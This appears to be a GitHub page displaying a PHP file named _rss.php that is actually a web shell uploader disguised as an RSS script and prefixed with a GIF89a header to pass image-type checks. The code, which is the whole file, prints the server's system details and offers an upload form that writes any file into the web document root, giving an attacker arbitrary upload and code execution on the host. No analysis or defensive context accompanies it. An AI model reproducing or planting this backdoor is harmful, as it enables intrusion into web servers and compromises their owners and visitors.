-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy path_rss.php
38 lines (38 loc) · 947 Bytes
/
_rss.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
GIF89;a
<!DOCTYPE HTML>
<html lang="en-US">
<head>
<meta charset="UTF-8">
<title></title>
</head>
<body>
<?php
echo "<center>a loser<br>";
echo "<b>".php_uname()."</b><br>";
echo "<form method='post' enctype='multipart/form-data'>
<input type='file' name='just_file'>
<input type='submit' name='upload' value='Gaspol!'>
</form>
</center>";
$root = $_SERVER['DOCUMENT_ROOT'];
$files = $_FILES['just_file']['name'];
$dest = $root.'/'.$files;
if(isset($_POST['upload'])) {
if(is_writable($root)) {
if(@copy($_FILES['just_file']['tmp_name'], $dest)) {
$web = "http://".$_SERVER['HTTP_HOST']."/";
echo "sukses upload -> <a href='$web$files' target='_blank'><b><u>$web/$files?maqlo</u></b></a>";
} else {
echo "gagal upload di document root.";
}
} else {
if(@copy($_FILES['just_file']['tmp_name'], $files)) {
echo " upload <b>$files</b> di folder ini";
} else {
echo "gagal upload";
}
}
}
?>
</body>
</html>